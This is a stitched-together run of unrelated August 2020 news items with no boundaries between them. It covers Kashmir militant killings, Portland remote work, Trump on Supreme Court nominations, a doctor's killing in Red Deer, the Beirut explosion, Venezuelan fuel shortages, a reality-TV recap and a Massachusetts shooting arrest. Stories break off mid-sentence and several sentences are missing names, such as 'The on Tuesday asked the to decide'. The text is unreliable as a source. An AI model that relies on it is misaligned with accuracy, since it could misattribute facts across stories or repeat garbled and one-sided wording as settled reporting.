could cause more flooding in mostly urban areas of England until Friday, with some homes being affected. We wanted a model that would allow us to move or transition seamlessly, regardless of where we are as a state or as a region 10, Superintendent Jennifer Kelsall said. Its designed to do just that ... If or when we have to go full remote, the schedule still will stay the same, and if and when we can bring more kids in, it will still stay the same. In Kashmir shootout, another politician from Modi's party is killed Iran Press TV Monday, 10 August 2020 2:23 PM Another politician from India's ruling Bharatiya Janata Party (BJP) has succumbed to gunshot wounds hours after being shot by pro-independence fighters in Kashmir. The elected village chief was shot near his home on the edge of the main city of Srinagar early on Monday. A police official said he was attacked while taking a morning walk. The politician became the fifth member of the Hindu nationalist party to have been killed by the fighters since July. Independence fighters killed two other elected village officials affiliated with the party last week. At least 16 BJP members have publicly quit the party since the attacks began in early July. They say they have "no contact" with Modi's party anymore. The string of attacks has sent panic through the local ranks of the BJP. Last year, the administration of Prime Minister Narendra Modi sparked anger in the Muslim-majority Himalayan territory of Kashmir by abolishing the region's semi-autonomous status. People in Kashmir fear New Delhi's decision to allow Indians from other states to buy land and compete for local jobs are aimed at forcing demographic change in the region of nearly eight million people. Human Rights Watch in early August denounced India for persisting with "its repression of Kashmiri Muslims," calling on the authorities to reverse their "abusive policies" there. Kashmir, where an armed uprising erupted in 1989, has been especially tense since Modi's decision to revoke the territory's constitutionally mandated local autonomy. A disputed territory, Kashmir has been split between India and Pakistan since their partition in 1947. The countries have fought three wars over the territory. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The on Tuesday asked the to decide and dispose of in 15 days the petition related to the release Dr Kafeel Khan, who was arrested for his alleged inflammatory statements at the Aligarh Muslim University during a protest against the Citizenship Amendment Act (CAA). A bench of the apex court, headed by Chief Justice Sharad Arvind Bobde, asked the to hear and expeditiously consider the matter on merits and to see and consider in 15 days' time whether Dr should be released or not. Dr Khan was arrested by the Uttar Pradesh Special Task Force from Mumbai after he allegedly made inflammatory statements at the Aligarh Muslim University during a protest against the CAA on December 12, 2019. He was on February 14, 2020, charged under the Security Act. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Advertising agency Wieden+Kennedy asked the more than 450 employees at its Pearl District headquarters to start working from home on March 13 as the severity of the coronavirus pandemic came into focus. Five months later, those employees are still working remotely, and the company doesnt expect to welcome most of them back to the office until sometime in 2021. While the remote working setup has been surprisingly effective, Jess Monsey, managing director at Wieden+Kennedy Portland, said that it has become clear as the pandemic has dragged on that employees miss the collaboration and personal connection that comes with sharing an office. In the first couple of weeks, everybody was like, Wow, this is pretty interesting, Monsey said. There was a novelty to it, and everybody was really happy and proud to see that we were able to still continue to do great work being separated from each other. But as time has gone on, I think everybody is feeling a desire to be able to be together again. Thousands of Oregonians have been working remotely since late March when Gov. Kate Brown began requiring office workers to work from home to the maximum extent possible. Those guidelines remain in effect in Multnomah County, which has yet to enter Phase 2 of Browns reopening plan. About 35% of the U.S. workforce nationwide has switched to telecommuting due to the pandemic, according to a survey by the National Bureau of Economic Research. For many businesses, the transition to remote work was easier than expected, which has raised questions about whether some employees could continue working remotely indefinitely. But while many office workers in Portland will work from home until at least the end of the year, real estate firms and market indicators suggest that most jobs will return to traditional offices after the pandemic ends. If you looked into the workforce that is dependent on offices typically, I would say that about 5% of workforces were working from home on a regular, if not full-time basis (before the pandemic), said Julie Whelan, the head of occupier research at commercial real estate firm CBRE. I think that this is going to accelerate that trend, but I dont think its going to accelerate it to a point where offices become obsolete. EMPTY OFFICE BUILDINGS When Multnomah County finally enters Phase 2 of Browns reopening plan, Portland businesses will be given the opportunity to slowly reintegrate workers back into their offices. But remote work may remain the norm, even at that point. Last month, Google announced that it would allow employees to continue working remotely until July 2021, becoming the first major U.S. corporation to announce such an extended timetable for reintegrating workers back into the office. Other companies are still finalizing their long-term plans, but arent expecting employees to return to the office anytime soon. Spokesmen for Amazon and Autodesk, both of which have large footprints in Portland, said employees that can work effectively remotely would continue to do so until 2021. Laura Nichols, director of global workforce at tech company Puppet, said that most employees wouldnt return to the companys headquarters in downtown Portland until at least November, and possibly not until next year. Bob Speltz, a spokesman for insurance company The Standard, said that the overwhelming majority of the companys workforce would not return to its Portland office this year both due to the coronavirus crisis and what the company views as disruptions and unsafe conditions around its downtown office. Speltz said the company has put together a committee to evaluate plans for returning to the office and to consider long-term work arrangements. Other companies are taking similar steps. Longer term, we are exploring more permanent remote and alternative work arrangements, and dont know yet how many workers will return to downtown next year and thereafter, Speltz said. Our more than 2,100 Oregon employees have proven remarkably resilient and productive since we began work from home in mid-March. The move to remote work has contributed to a significant decrease in foot traffic in downtown Portland. That foot traffic is unlikely to return to normal until office workers come back en masse. TriMet says trips downtown are down more than 75% this summer compared to last year. Parking meter transactions are down a similar amount, and traffic into downtown across the Morrison Bridge has fallen 43% compared to last year, according to the Portland Bureau of Transportation. THE FUTURE OF WORK But while the pandemic has prompted some companies to rethink the future of work, there doesnt appear to be data pointing toward a mass exodus from downtown Portland office buildings in the long-term. A decrease in demand coupled with increased supply drove vacancy rates at Portland office buildings up to 12.8% in the second quarter, according to real estate firm JLL. But the vacancy rate hasnt come close to matching the level it reached during the 2008 financial crisis. Rental prices for Portland office spaces remained stable, landlord collections remained over 90% and sublease availability increased only minimally in the first half of 2020 as well, according to research from CBRE. In another report, CBRE surveyed 126 senior-level global real estate executives. Of those surveyed, 70% indicated that some portion of their workforce would be allowed to work remotely full-time after the pandemic. But 41% said the importance of the physical office would decrease only slightly after the pandemic and 38% said the office would remain as important or become even more important. The office isnt going away, but the role the office plays for people is going to change, Whelan said. I think the big change that were seeing coming out of this is what I would describe as more trust between employers and employees where an employee can now be a little bit more autonomous in terms of what theyre doing and where theyre working. Nichols echoed those sentiments. While nearly 28% of Puppets employees worked remotely prior to the pandemic, Nichols said the company still values having an office environment where employees can collaborate. She said that the role that offices will play for Puppet employees long-term may differ by location. In Portland, Puppet is considering implementing a more flexible model where employees can schedule time to work in the office as needed. But even if the company goes that route, Nichols said she doesnt see it downsizing to a smaller office. In fact, she said having a large office space could be critical for Puppet as it slowly and safely brings employees back into an office setting. We dont see the office going away for Puppet completely, like some companies have announced, but we are using this as an opportunity, Nichols said. How do we evolve with this? How do we use the office differently? How is the remote office one set of tools and the office (building) another set of tools, depending on how youre looking to work? -- Jamie Goldberg | jgoldberg@oregonian.com | @jamiebgoldberg Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. President Donald Trump said in an interview Tuesday he would 'absolutely' nominate a new Supreme Court Justice should a vacancy occur during his final 162 days in office. 'You mean if something happened like now?' Trump asked when radio host Hugh Hewitt asked him if he would nominate a justice, an issue Trump is already seeking to elevate in the 2020 campaign. 'Absolutely, Id do it. Sure,' Trump says. The topic is more than academic, with multiple aging justices on the court, including 87-year old Ruth Bader Ginsburg, who was recently released from the hospital after undergoing cancer treatments. 'I would move quickly. Why not? I mean, they would. The Democrats would if they were in this position,' Trump told Hewett. President Trump says he would 'move quickly' if there is another Supreme Court vacancy That was not an opportunity that Democrats got back in 2016. President Barack Obama nominated Judge Merrick Garland on March 6, 2016, but Senate Majority Leader Mitch McConnell successfully blocked the nomination, which never got even a Judiciary Committee hearing. McConnell said he would call up the nomination because the vacancy, created by the death of Justice Anthony Scalia, came during an election year. Trump also said China will 'own' the United States if the U.S. if he loses the election. Justice Ruth Bader Ginsburg, 87, has recently received cancer treatments Trump has already installed two justices on the Supreme Court President Obama nominated Judge Merrick Garland to the Supreme Court, but Senate Republicans held up the nomination, citing the election year 'And China will own, just like when his son walked out with $1.5 billion dollars from China to manage, where hell make millions of dollars a year,' Trump said, training fire on Biden's surviving son, Hunter. 'Look, China will own the United States if this election is lost by Donald Trump. If I dont win the election, China will own the United States. Youre going to have to learn to speak Chinese, you want to know the truth,' he said. Trump also said if Biden wins 'youre going to have a radical left' and 'youll have every city looking like Portland.' 'You will have the stock market crash the equivalent of what we had in 1929,' said Trump. Stocks tanked in February and March amid the coronavirus outbreak, but have gradually ticked up toward their pre-virus levels. An impromptu memorial for Dr. Walter Reynolds, who died after he was attacked in an examination room rests outside the Village Mall walk-in clinic in Red Deer, Alta., on Aug. 11, 2020. (Jeff McIntosh/The Canadian Press) Doctor Slain in Alberta Medical Clinic Was Devoted Father, Husband RED DEER, Alta.A doctor who was killed in a violent attack at a walk-in clinic in central Alberta is being remembered as a devoted family man who was well-liked by patients. Dr. Peter Bouch says members of Red Deers medical community are feeling shaken a day after the death of his colleague, Dr. Walter Reynolds. Bouch says Reynolds was proud of his two young daughters and was a dedicated physician. He says he and Reynolds worked at different clinics, but were both part of a tight-knit community of doctors in Red Deer who are originally from South Africa. RCMP Supt. Gerald Grobmeier has said staff and patients were in the Village Mall Walk-In Clinic yesterday for what he called an isolated, but extremely brazen crime. A witness told media outlets that it was her family doctor who was slain by someone allegedly with a hammer and machete. Bouch said physicians are feeling vulnerable. Its a shock to the whole of Red Deer, not only to the physicians, but also to the many medical staff that work in our clinics, he said in an interview Tuesday. And I think a lot of them are looking over their shoulder today and are quite anxious. Bouch said he has heard concerns from other physicians in the city about aggression from patients, though none of those cases have been as extreme as Reynolds slaying. He said the issue cant be pinpointed to any one cause. I think some of us need to speak to the mayor and we need to speak to the RCMP and try and figure out a way of making our exam rooms, our offices, a safe placeboth for patients and for ourselves. RCMP announced Tuesday they have charged Deng Mabiour of Red Deer, Alta. with first-degree murder in what they are calling a targeted attack of the doctor. Mabiour also faces charges of assault with a weapon and assault of a police officer. The 54-year-old was arrested at the Village Mall Walk-In Clinic in Red Deer on Monday morning. Dr. Walter Reynolds, who was 45, was rushed to hospital where he was pronounced dead. Grobmeier also said one officer was struck with a blunt weapon during the arrest, and was treated for minor injuries. A GoFundMe page has been set up to raise funds for the education of Reynolds daughters. By late morning Tuesday, it had raised close to $64,000. He was a devout father to two amazing young daughters and a loving husband, wrote fundraiser organizer Johan Myburgh. He loved to run, be healthy and, most of all, spend time with his family. M y mother is from Ras Beirut, three kilometres from the warehouse where last Tuesday 2,750 tonnes of ammonium nitrate exploded, causing devastation. This past week she has been glued to her phone, talking to friends who have lost family, whose loved ones are in intensive care, whose homes and businesses have been destroyed and who are despairing at the lack of accountability. The explosion hit a friends flat and a huge shard of glass was embedded in her six-year-old sons head. Running on adrenaline and also injured, our friend drove to the nearest hospital. It was full. After three panicked hours of driving around crammed hospitals, they found a doctor in the mountains above the city. He removed the glass and reassured the boy, telling him the scar on his forehead meant he was now like Harry Potter. More than 200 people died in the blast and they are being called martyrs. That jars. Being a martyr implies dying for a cause. These are people who lost their lives in an explosion that is the result of carelessness at best, at worst something more heartbreaking, yet more negligence from the government. Yesterday, the government resigned, amidst mass protest. Unfortunately though, that is unlikely to resolve anything because the power structure is the same, determined by religious factions. During protests last year people chanted everyone means everyone; they need a clean break, one government resigning wont change knotty, deeply embedded structural inequality. International aid is welcome, as is President Macrons demand for political reform. But people in Beirut have been here before. My mother, who lived through 15 years of civil war and unrest, is tired of hearing that it will be different this time; that aid wont just go straight to corrupt officials. Beirut is full of people grieving for a country that has suffered repeatedly since the civil war broke out in 1975. Last year people took a stand after the banks collapsed due to corruption and mismanagement. Covid crippled the economy further and hospitals struggled to cope with the pandemic and the refugee crisis there are more than a million refugees, mostly from Syria. Rage is at a tipping point. My mum lived through 15 years of civil war in Beirut. She is tired of hoping it will be different All over the city, there is stark evidence of the problems this country faces; projects which have started but then lost funding because of government corruption. Many buildings dont have electricity and rubbish often isnt collected. But there is also ostentatious wealth, used to prove the country is doing all right. The Zaytouna Bay area symbolises the tension. Looming over the swimming pools of the five-star hotels is the towering shell of the Holiday Inn, which was attacked in 1976. A disagreement between its owners means it cant be demolished so its stood empty and pockmarked for nearly 40 years. Lebanon: Beirut explosion aftermath - In pictures 1 /68 Lebanon: Beirut explosion aftermath - In pictures The scene of an explosion in Beirut AFP via Getty Images A man reacts at the scene of an explosion at the port in Lebanon's capital Beirut AFP via Getty Images Firefighters spray water at a fire following an explosion in Beirut's port area, Lebanon REUTERS A helicopter puts out a fire at the scene of an explosion at the port of Lebanon's capital Beirut AFP via Getty Images An aerial view of ruined structures at the port Getty Images A Lebanese couple drive past the debris of a building in the damaged neighbourhood of Mar Mikhael AFP via Getty Images An aerial view of ruined structures at the port Getty Images Lebanese activists take part in a campaign to clean the damaged neighbourhood of Mar Mikhael AFP via Getty Images An aerial view of ruined structures at the port, Getty Images A statue representing the Lebanese expatriate is seen in front of a building that was damaged by an explosion that hit the seaport of Beirut, Lebanon AP A fireball exploding while smoke is billowing at the port of the Lebanese capital Beirut MOUAFAC HARB/AFP via Getty Image Lebanese firefighters work at the scene of an explosion in the Lebanese capital Beirut AFP via Getty Images The scene of an explosion at the port in the Lebanese capital Beiru AFP via Getty Images A helicopter puts out a fire at the scene of an explosion at the port of Lebanon's capital Beirut AFP via Getty Images TALAL TRABOULSI via REUTERS A view shows the aftermath of yesterday's blast at the port of Lebanon's capital Beiru AFP via Getty Images Lebanese soldiers search for survivors after a massive explosion in Beirut, Lebanon AP A man walks by an overturned car and destroyed buildings on August 4, 2020 in Beirut, Lebano Getty Images Lebanese soldiers search for survivors after a massive explosion in Beirut, Lebanon AP A view shows the aftermath of yesterday's blast at the port of Lebanon's capital Beiru AFP via Getty Images Smoke rises after an explosion in Beirut, Lebanon via REUTERS A drone picture shows the scene of an explosion that hit the seaport of Beirut, Lebanon AP People gather outside American University of Beirut (AUB) medical centre following an explosion in Beirut, Lebanon REUTERS People ride past a car destroyed after a building wall collapsed after a large explosion in Beirut Getty Images Damaged church and vehicles are seen following yesterday's blast that shook the Lebanese capital Beirut AFP via Getty Images A drone picture shows the scene of an explosion at the seaport of Beirut, Lebanon AP The scene of an explosion at the port of Lebanon's capital Beirut AFP via Getty Images Buildings and cars are partially destroyed in the neighbourhood of Mar Mikhael following an explosion at the port of Beiru AFP via Getty Images A rescue worker tends to an injured man following an explosion at the port of Beirut AFP via Getty Images Smoke rises from a port facility after large explosions Getty Images The destroyed silo sits in rubble and debris after an explosion at the seaport of Beirut, Lebanon AP Smoke is seen after an explosion in Beirut, Lebanon GABY MAAMARY via REUTERS Civilians help an injured man at the explosion scene that hit the seaport of Beirut, Lebanon AP Smoke rises as people walk near the site of an explosion in Beirut, Lebanon REUTERS Lebanese soldiers stand outside American University of Beirut (AUB) medical centre following an explosion in Beirut, Lebanon REUTERS Smoke rises from a port facility after large explosions Getty Images Damaged vehicle and buildings are pictured near the site of Tuesday's blast in Beirut's port area, Lebanon REUTERS A general view shows the damage near the site of Tuesday's blast in Beirut's port area, Lebanon REUTERS People stand near damaged cars following an explosion in Beirut, Lebanon REUTERS Smoke rises from a port facility after large explosions Getty Images People inspect the damage near the site of Tuesday's blast in Beirut's port area, Lebanon REUTERS A view shows the damaged facade of a building following Tuesday's blast in Beirut's port area, Lebano REUTERS A wounded man walks next to a damaged car on a street, following an explosion in Beirut, Lebanon via REUTERS Damaged buildings are seen after an explosion in Beirut, Lebanon via REUTERS Smoke rises over destroyed structures following large explosion Getty Images A view shows the aftermath at the site of Tuesday's blast in Beirut's port area, Lebanon REUTERS Smoke rises from a port facility after large explosion Getty Images AFP via Getty Images AFP via Getty Images AFP via Getty Images AFP via Getty Images AFP via Getty Images AFP via Getty Images REUTERS AFP via Getty Images AFP via Getty Images AFP via Getty Images AFP via Getty Images AFP via Getty Images AFP via Getty Images REUTERS REUTERS AFP via Getty Images Getty Images Getty Images REUTERS REUTERS Getty Images Beirut isnt just a country of chaos and crisis though. As the proud Lebanese people boast, you can drive to the mountains to ski in the morning and swim in the Med in the afternoon. It has food that has inspired many restaurants in London, history and scenery. And it never rains until winter. Last year I spent time in Gemmayzeh, at bars, cafes and art galleries. It felt hopeful and lively. The people are doing all they can to make a better future. Now, with their lives in tatters that has become even more of a struggle. Another friend is thankful that she felt too tired to take her usual walk by the sea near the warehouse last Tuesday she is now protesting, demanding an inquiry for those whose already fragile lives were turned upside down in an instant. Actress Alyssa Milano took to Instagram to warn her followers of the lasting effects of COVID-19. She posted a video of herself brushing her wet hair, and after three strokes with a clean brush, she reveals a clump of hair that fell out. She then repeats the process a few times. Milano said she was sick with coronavirus symptoms late March into April, but multiple COVID-19 tests came back negative. After four months of lingering symptoms, she got a blood-drawn antibody test, which showed she was positive for COVID-19 antibodies. Shilpi Khetarpal, a dermatologist at Cleveland Clinic, said in an article that she is seeing an increase in reports of hair loss in patients who had COVID-19 two to three months ago. The condition is called telogen effluvium, which is temporary hair loss due to a "shock to the system," she said. "[It] isn't a symptom of COVID-19 as much as it is a consequence of the infection." The condition can last up to nine months, and most cases resolve on their own. Milano concluded her video by saying, "One brushing, this is my hair loss from COVID-19. Wear a damn mask." Watch the video below. More stories from theweek.com Trump has reportedly privately said he intends to replace Mark Esper after November election The case against American truck bloat Trump has pretty much eliminated daily intelligence briefings. Biden has already started receiving them. Oil-rich Venezuela deeper into crisis with fuel rationing onvenezuela.com Fuel rationing plunges oil-rich Venezuela deeper into crisis - About half the OPEC country's gasoline stations are closed - Two of the biggest refineries suffer regular breakdowns By Fabiola Zerpa/Bloomberg CARACAS Petroleumworld 08 11 2020 Venezuela is once again shuttering gas stations across the country as the chronic shortage of fuel deepens due to ailing refineries and crippling sanctions limiting imports into the country. State oil company Petroleos de Venezuela SA is rationing fuel nationwide, according to a person familiar with the matter, who asked not to be identified because the information isn't public. The move is partially a result of two of the country's biggest refineries suffering serious breakdowns in recent weeks amid sweeping U.S. government sanctions banning the sale of gasoline to the country. The shortage has deepened since Iran sent sent five tankers laden with fuel in May and June to Venezuela, causing U.S. officials to issue warnings to Tehran. No more shipments have been received since. Iran also sent technicians to help improve the reliability of the country's refineries to little avail. A PDVSA spokesperson declined to comment. Venezuela is back to where it was in March , when residents in Caracas -- usually the last to experience fuel shortages -- lined up for days or paid as much as 4 dollars per liter to fill up their cars in the black market. Some 950 out of 1,570 gas stations have been closed or are operating on a very limited schedule, according to a person with knowledge of the situation, who also asked not to be identified because the information isn't public. The lines are forming despite a nearly five-month long quarantine that has severely limited transportation nationwide. Public transportation has almost disappeared and workers walk even dozens of kilometers to get to their jobs. The situation also presents a logistical crisis, with 90% of commercial goods reliant on road transportation to move around the country. Our freight cargo services have slowed down due to lower supply of diesel at fuel stations in five states, said Jonathan Durvelle, head of the cargo transportation chamber in Puerto Cabello, Venezuela's biggest port. Some 3,000 affiliated cargo trucks now queue for 12 hours, affecting timely delivery of goods and raising costs. Manolo Ferraz, a farmer from Bailadores in the Andean region of the country, is running at a loss. I've thrown cabbage, pepper, carrot crops away because of the lack of gasoline to move them to distribution centers, Ferraz said. I've had to sell milking cows to slaughterhouses. The region produces 85% of vegetables in the country, according to farming federation Fedeagro. Three years ago, three to four trucks per day used to haul produce to distribution areas in the center of the country from 480 kilometers (300 miles) away. Now, only two or three come per week, according to Ferraz. By Elizabeth Kwiatkowski, 08/11/2020 ADVERTISEMENT KENNETH AND ARMANDO ADVERTISEMENT ADVERTISEMENT BRITTANY AND YAZAN ADVERTISEMENT ADVERTISEMENT DEAVAN AND JIHOON ADVERTISEMENT TIM AND MELYZA ADVERTISEMENT ADVERTISEMENT Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade. : The Other Way featured Kenneth Niedermeier proposing marriage to Armando Rubio, Brittany Banks agreeing to consider converting to Islam for Yazan Abo Horira, Tim confessing he had cheated on Melyza to her dad, and Deavan Clegg and Jihoon Lee 's fresh start appearing to take a sudden shocking turn during Monday night's Season 2 episode on TLC.: The Other Way follows American citizens moving to foreign countries for the sake of love and their future spouses, and they must marry within 90 days in order to stay.: The Other Way's second season features a total of six couples, including Season 1 returnees Jenny Slatten and fiance Sumit as well as Deavan and husband Jihoon.Jenny, a 61-year-old from Palm Springs, CA, is moving back to India for Sumit, a 32-year-old from New Delhi, India, once and for all after previously uprooting her life only to discover Sumit was married to another woman.And Deavan, a 23-year-old from Salt Lake City, UT, is officially moving to South Korea along with her two children to start a life with Jihoon, a 29-year-old from Seoul, South Korea.The four new couples starring on Season 2 of : The Other Way are Yazan, a 24-year-old from Amman, Jordan, and Brittany, a 26-year-old from Palm Beach, FL; Ariela, a 28-year-old from Princeton, NJ, and Biniyam, a 29-year-old from Ethiopia; Kenneth, a 57-year-old from St. Petersburg, FL, and Armando, a 31-year-old from Mexico; and Tim, a 34-year-old from Dallas, TX, and Melyza, a 29-year-old from Colombia.Below is what was shown on Episode 10 of : The Other Way's second season.Kenneth told Armando he wanted to go to a bank and open up an account -- and do it by himself -- but it was a cover-up story. Kenneth was actually headed to a hotel, where his daughters Taylor and Cassidy were staying.Kenneth had asked his daughters to fly in because the day had arrived in which he'd be proposing marriage to Armando.Bryson and Madison weren't able to make it, but Kenneth said having his two daughters in Mexico with him was "amazing."Kenneth showed the girls the spot on a beach where he planned to pop the question, and he gushed about how he had been waiting this moment "for a long time.""When I came out in 1988, HIV and AIDS was running rampant, and by the early 90s, 80 percent of the people I knew were dead," Kenneth cried in a confessional."And it's hard because you'd like to go back and talk to some of these people that you came out with and tell them the world has changed for the better. So this is actually a big deal. I want my daughters to see the love between Armando and I have first-hand, and then maybe they'll understand better why I left."Taylor hadn't met Armando yet so she was excited and nervous, and Cassidy had concerns as well, even though she was happy for her father.Kenneth didn't think he was rushing the relationship because he had been in two long-term relationships before and never wanted to get married to either of those people.Kenneth said he appreciated Armando's loving side and sensitive nature."I love him and I couldn't marry him fast enough," Kenneth told the cameras. "It's a fairy tale for me -- and for Armando."Kenneth and Armando were going to pick up Armando's daughter Hannah in a week, and Kenneth said he'd prefer potentially meeting Armando's family and father as Armando's fiance.Kenneth also wanted Armando to be an engaged man when introducing a male partner to his family, which was obviously a huge and scary step in Armando's life."I am not having any second thoughts proposing to Armando. Nothing is going to stop me from getting married and living my life here in Mexico with Armando. He is The One for me, and I want to marry him," Kenneth said.The day of the proposal arrived and Kenneth told Armando to dress nicely because they'd be going out to dinner. Kenneth said he wasn't going to let Armando's parents -- in the back of his head -- question if it was the right time to propose.Before eating, Kenneth told Armando that they should take some nice pictures down in the rocks near the water.Kenneth asked Armando if he remembered the first time they visited the spot and Armando brought up their future together, and Armando nodded his head "yes" and apparently said it was "as wide as the ocean" at the time."I'm totally committed to you for life, but there is something I want to ask you," Kenneth said in tears.Kenneth then took out a ring and got down on one knee, and Armando's jaw dropped and he seemed overwhelmed with joy and shock."I want to ask you," Kenneth began, presenting a ring."Are you serious?! Armando asked."If you will marry me," Kenneth continued."Baby, of course, yes!" Armando replied in tears.The men hugged and Kenneth put the ring on Armando's finger. Armando told Kenneth that he wanted to spend the rest of his life with him, and then people shot confetti into the sky from the top of the cliff."I love you!" Taylor yelled to Armando."Whoa, wow babe," Armando told his partner.Kenneth was thrilled Armando had become his fiance, and Armando said this was a moment he had dreamed about for years. Armando then hugged Cassidy, who said she loved Armando, and Taylor was so happy to meet her father's love.Armando insisted he had never suspected a proposal, but he was a little upset his family was still struggling to accept him. To see Kenneth's children were there and supported their love, it warmed his heart."You are perfect," Kenneth told Armando.Brittany said she needed to learn things about Yazan's culture in order to make their relationship work, so she decided to wear a hijab in the streets to show she was taking his religion seriously and respected him.Yazan brought Brittany to a local mosque so she could embrace his religion firsthand, but she didn't consider herself a religious person and grew up Catholic.Brittany considered herself "spiritual" and faithful, saying what a person puts out into the world is probably what will come back to them. Brittany, however, enjoyed the mosque, and Yazan was so excited and happy to teach his girlfriend about Islam.Brittany had both an open heart and an open mind.Yazan taught Brittany how Muslim people wash their hands and face about five times a day before meeting in order to reach the highest level of purity before prayer. Brittany, however, said she couldn't imagine putting a full face of makeup on just to wash it off.Yazan taught Brittany how to pray, and she said she felt connected to Yazan and to God. Brittany asked God, or Allah in Islam, that Yazan's parents would like her again, and Yazan prayed that he could marry Brittany.The couple had a peaceful and beautiful day together, but Brittany feared the situation would become rocky again like it was when she had first arrived.Brittany said she was so happy to be in a better place with Yazan, but Yazan also wanted to make Brittany's relationship with his parents better."My parents are still upset Brittany hasn't converted to Islam yet and is not ready to get married," Yazan told the cameras.Yazan then sat down with Brittany and asked her whether she wanted to stay with him and be Muslim."I don't know about being Muslim yet," Brittany replied. "But I definitely want to be with you and stay here. But I'm not going to commit to being Muslim right now, because I am just not ready for that."Yazan said he really hoped Brittany would convert, and she at least said she was "thinking about it." Yazan wanted Brittany to think "faster" and then gave her three days to give him an answer, which apparently shocked Brittany.Brittany didn't want to feel pushed or rushed, but Yazan said he had a lot of work to do and needed to know what Brittany's plans were. Yazan had to report back to his parents and said if Brittany didn't convert to Islam, they wouldn't get married and Yazan would want to move on with his life."If you want to marriage me, you must be Muslim," Yazan told a surprised Brittany."What the f-ck are you talking about? You should've said that when we first met -- not now," Brittany responded angrily. "You did not say, 'You need to be Muslim.'""Not you, my wife," Yazan said.Brittany said Yazan was trying to force her into something she wasn't ready for or maybe didn't even want, and she was upset. Brittany felt a lot of pressure that apparently didn't exist in the beginning of their relationship."Look, you have a Quran. You reading anything? No," Yazan said."This is bullsh-t," Brittany responded, before leaving the table and walking away.Brittany threatened to go back home and was heated, but she decided to sit back down and talk to him so the situation wouldn't get worse.Brittany told Yazan that she understood what he wanted but she needed more time than two days and wasn't going to allow him to give her an ultimatum. Yazan explained he was carrying a huge weight on his back to please his family, but he said he loved Brittany and would be willing to compromise and give her more time.Yazan told Brittany that she could have all the time she wanted and he wouldn't force anything upon her.Brittany acknowledged it was "crazy" how "hot and cold" she and Yazan could be, and she wasn't sure that was a good thing."I do love him and I do want to try to learn his religion and culture, but I still feel a little nervous because Yazan and I still need to deal with the situation with his parents, and I don't know if they're ever going to be onboard with our relationship," Brittany told the cameras.Deavan had given Jihoon a second chance, and the pair drove through a different neighborhood with Deavan's mom Elicia and Jihoon's parents so Elicia would hopefully approve of Deavan staying in South Korea.With Jihoon's $3,000, he and Deavan found a much nice apartment to stay in, and even Elicia thought it was really nice.Elicia was upset, however, she was losing ground in terms of convincing Deavan to return to America with her. Elicia also knew she'd have to force a relationship with Jihoon and get along with him if Deavan was going to ultimately stay in South Korea.Elicia admitted to the cameras she was being "selfish" in wanting her daughter to come home with her.Deavan thought the new apartment was "fantastic," and she just hoped her mother would come around. Jihoon planned to treat this new apartment as a new start, but they planned to only stay there for one month until Jihoon could find them a more permanent apartment in which to stay.Once Deavan, Jihoon and her family got settled into a nice place, they took Drascilla to a local park so she could play.Elicia was so glad Deavan and Jihoon had found an apartment in a nice neighborhood with a place for Drascilla to have fun, and Jihoon took full responsibility for the previous situation.Deavan said Jihoon's family needed to stop enabling him because Jihoon was very spoiled. Elicia just asked Jihoon to put as much effort into his relationship as Deavan was putting in.Deavan wanted both grandparents on both sides to "stay back a little" while Jihoon stepped up as a father and husband.Jihoon's mother said she'd be more than happy to let Jihoon be independent, and Jihoon promised to take care of his family.Jihoon felt a lot of pressure and admitted he was stressed out, but Elicia was glad to hear what Jihoon had to say.After playing in the park, Jihoon was walking back to the apartment with Drascilla in his arms but Drascilla asked to be put down so she could sit down.However, Drascilla suddenly took off running and no one was quick enough to grab her."Stop!" Deavan yelled, as Jihoon began sprinting after Drascilla.Tim had moved to Colombia a week ago, and he said it felt great to get a lot of things out into the open. Tim, however, felt guilty about keeping his infidelity a secret from Melyza's father.Tim didn't think Melyza's father would accept him or approve of his relationship with Melyza unless Tim told him man-to-man. Tim didn't think Melyza's father would respect him anymore if Melyza was the one to drop the bomb.Melyza wasn't sure how her dad was going to react and she was nervous and worried, but she knew it was the right decision to make and could only hope for the best outcome or result.Tim said Melyza's father's opinion was "very important" and he didn't want to forever damage the relationship they had built and developed. And Melyza said in her culture, having her father's approval and blessing is very significant.Tim was then shown opening up about his feelings to Melyza's father."I cheated on her," Tim said, before Melyza translated that into, "He was with another person.""Badly done man. We opened the doors of our home so that you could live with us. And well, for this to happen? That's no good in my book," Melyza's father replied, adding that he felt Tim was playing with his heart and playing with his daughter's heart.Melyza's dad said he had looked at Tim like a son and "all that image has changed."Tim believed he had killed his relationship with Melyza's father, and he cried, saying that really hurt. Melyza told her dad that she wanted to work on her relationship despite the obstacle, but her father said, "The healthiest thing would be to break up."Melyza admitted that was hard to hear, but at the same time, Melyza is an adult and wanted her relationship to recover. She just knew she had to work through trust issues with Tim, and Tim promised his mistake "would never happen again.""Love is based on trust. When trust is lost, as much love there is, nothing else is left," Melyza's dad said.Tim feared Melyza felt like she'd be turning her back on her family if she stayed with him -- or that she would end their relationship because she wouldn't want to be with a man whom her family couldn't accept and embrace.Want more spoilers or couples updates? Click here to visit our homepage! Dont miss the bus, yall. Thats Billie the Bus, a new food and drink delivery service built into a converted school bus launched by Picks Bar co-owners Jessica Marinez and Amber Hernandez. The effort is one of several cocktail delivery services born during from the coronavirus pandemic, including margarita trucks from noted chef Johnny Hernandez. In addition to colorful drinks like the Selena-inspired Como La Flor (cucumber, lime, purple butterfly pea flower and Titos vodka) and other fruity libations packaged with DIY mini bottles of booze, Billie is currently serving chips with a side of chipotle mayo to stay within compliance of state laws requiring food to be purchased with alcohol, although Marinez and Hernandez aim to expand the food offerings in the near future. Editors Note: Massachusetts State Police initially said the victim in the Aug. 2, 2020 shooting in Fitchburg was shot in the face. He was actually shot in the leg. A man accused of shooting a person in the leg in Fitchburg earlier this month was apprehended by Massachusetts State Police on Monday with multiple grams of heroin and a handgun in his fanny pack, authorities said. Ramoon Baez is accused of shooting a 30-year-old man in his femoral artery around 3 p.m. on Aug. 2 in the area of 2 Pritchard St., according to a statement from state police. Fitchburg police officers who responded to the scene slowed down the victims extensive bleeding and may have saved his life. They applied a tourniquet to his limb before EMS arrived on scene, the statement said. The man who was shot was in stable condition two days after the shooting, according to authorities. State police troopers, who were searching for Baez at the request of Fitchburg police, received information Monday that the 33-year-old man was staying at the Super 8 by Wyndham Gardner hotel, authorities said. With the U.S. Marshals Service, state police set up surveillance around the hotel, according to law enforcement. 